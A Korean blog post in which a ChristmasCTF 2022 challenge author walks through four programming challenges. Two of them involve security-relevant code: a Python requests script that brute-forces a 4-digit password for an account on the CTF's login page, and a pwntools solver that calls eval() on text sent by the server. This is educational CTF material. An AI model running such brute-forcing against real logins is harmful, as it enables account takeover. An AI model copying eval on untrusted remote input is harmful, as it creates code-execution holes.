2022 ChristmasCTF Writeup - Programming

2023. 1. 1. 16:41CTF

728x90

2022/12/25 ~ 2022/12/27까지 진행되었던 ChristmasCTF에서 제가 출제했던 문제들의 Writeup을 공유합니다.

<Programming 1>

이 문제는 순위를 구하는 알고리즘을 작성할 수 있냐를 묻는 문제였습니다.

순위를 구하는 알고리즘은 다음과 같습니다.

1. 모든 자료의 순위는 1위로 초기화

2. 순위를 구하려는 자료와 나머지 모든 자료와의 크기 비교

3. 크기 비교한 결과를 가지고 순위를 구하기

제가 작성한 코드는 다음과 같습니다.

f = [12, 68, 89, 10, 39, 14, 90, 44, 92, 82, 97, 55, 80, 44, 11, 81, 22, 83, 65, 90, 52, 14, 66, 74, 30, 88, 8, 38, 3, 16, 53, 71, 57, 81, 57, 3, 83, 39, 24, 10, 28, 25, 54, 43, 15, 97, 5, 14, 74, 63, 59, 25, 95, 56, 42, 51, 9, 41, 50, 47, 36, 31, 17, 9, 13, 99, 73, 22, 22, 38, 41, 99, 27, 4, 86, 1, 59, 39, 89, 3, 45, 95, 1, 6, 6, 52, 68, 34, 40, 98, 95, 35, 56, 13, 35, 41, 23, 98, 47, 55]

rank = [1] * len(f)   # 모든 자료의 순위를 1위로 초기화
for i in range(len(f)):
    for j in range(len(f)):
        if f[i] < f[j]:  # 순위를 구하려는 자료와 나머지 모든 자료와의 크기 비교
            rank[i] += 1  # 기준 자료가 다른 자료보다 작다면 순위를 한 단계씩 증가시킴

print('ChristmasCTF{', end='')
for r in rank:
    print(r, end='')
print('}')

<Programming 2>

이 문제는 문제 파일에서 전화번호를 불러와 8643으로 끝나는 전화번호의 개수를 알아내라는 문제였습니다.

저는 Python을 활용하여 문제를 풀었습니다.

phone = open("phone.txt", "r")

List = []

for i in range(1000000): # 폰 번호 갯수는 `wc -l phone.txt` 명령을 통해 알 수 있음
    data = phone.readline()
    data = data.split('-')
 
    List.append(data[2][:4]) # 번호를 하나씩 읽어와서 뒤 4자리만 리스트에 추가


print(List.count('8643')) # 분리된 번호 중에서 8643의 개수를 출력

<Programming 3>

이 문제는 Python의 requests라는 모듈을 어떻게 사용하는지 알려주기 위해 만들었던 문제였습니다.

Brute Force공격자가 가능한 모든 조합을 입력해보는 무차별 대입 공격입니다.

이 문제를 풀기 위해서는 사용 가능한 모든 조합(비밀번호 리스트)을 만들어야 합니다. 만든 후, 로그인창에 하나하나 대입하다 보면 비밀번호를 찾을 수 있습니다.

코드를 작성하기 전, 링크에 들어가서 웹 페이지가 어떻게 동작하는지 알아봅시다.

로그인 페이지

웹 페이지에 접속하면 로그인 페이지를 볼 수 있는데, suriri 계정으로 로그인해보라고 했으므로 ID에 suriri를 입력하고, 패스워드를 아무거나 입력해보면 login failed! 라는 문자열이 나오는 것을 볼 수 있습니다.

로그인 실패

그러므로, 로그인에 성공한다면 login failed! 가 아닌 다른 문자열이 나올 것을 추측해 볼 수 있습니다. 그럼 이제 Brute Force 공격을 수행할 코드를 작성해보겠습니다.

우선, 비밀번호 리스트를 만드는 코드입니다.

alpha = list('0123456789')
passList = []

for i in alpha:
    if i != '1':  # 비밀번호 범위가 1000~1500이기 때문에 천의 자리가 1이 아니면 모두 스킵
        continue
    for j in alpha:
        if int(j) >= 6:
            continue
        for k in alpha:
            for l in alpha:
                password = i + j + k + l
                passList.append(password)

위 코드를 통해 생성된 비밀번호 리스트를 로그인창에 대입하는 코드입니다.

import requests

for password in passList:
    URL = 'http://www.suriryuk.com:8085/login.php'
    # GET parameter 설정(ID는 suriri로 고정, 패스워드는 리스트에서 하나씩 가져옴)
    params = {'userid': 'suriri', 'userpw': password}
    # 해당 웹 페이지는 GET 방식으로 통신함
    res = requests.get(url=URL, params=params) 
    print(password)
    # 만약 login failed! 라는 문자열이 출력되지 않았다면 로그인 성공
    if "login failed" not in res.text:
        print('Password is', password)
        break

코드를 실행하면 비밀번호를 하나씩 입력하다 로그인에 성공하는 순간의 비밀번호가 무엇인지 알려줄겁니다.

비밀번호가 1192인 것을 알았으니 다시 로그인 페이지로 돌아가 로그인을 해보면 플래그를 얻을 수 있습니다.

<Programming 4>

이 문제는 pwntools라는 모듈을 사용해 푸는 문제였습니다.

우선 netcat을 이용해 문제 서버에 접속해보면 눈(?)과 함께 하나의 식이 주어지는 것을 볼 수 있는데 문제를 시간 안에 풀지 못한다면 플래그를 얻을 수 없도록 했습니다.

문제 화면
타임아웃

제한 시간은 1초로 사람이 아무리 암산이 빨라도 1초 안에 수동으로 입력하기는 매우 어렵습니다. 그래서 자동화 도구를 만들어 1초 안에 계산과 입력을 해낼 수 있도록 코드를 작성합니다.

from pwn import *

# nc 접속
p = remote('www.suriryuk.com', 7001)

d = 1
while True:
    try:
        # '='이 나올때까지 데이터를 읽음
        data = p.recvuntil('=')
    except:
        break
    data = str(data).split('\n')
    data = data[-1]
    # 계산식 추출
    data = data.split('\n')[-1][:-2]
    print(d, data)
    d += 1

    # 계산식 계산
    res = eval(data)
    # 계산한 결과 전송
    p.sendline(str(res))
    p.recv() # 안정성을 높이기 위해 추가

# 제어권을 사용자에게 넘김
p.interactive()

위 코드를 실행시키면 모든 수식을 자동으로 계산해줘서 플래그를 얻을 수 있습니다.

 

728x90

'CTF' 카테고리의 다른 글

UgraCTF Quals 2023 - Writeup  (0) 2023.01.15
2022 ChristmasCTF Writeup - Web  (0) 2022.12.31
squareCTF writeup  (0) 2022.12.01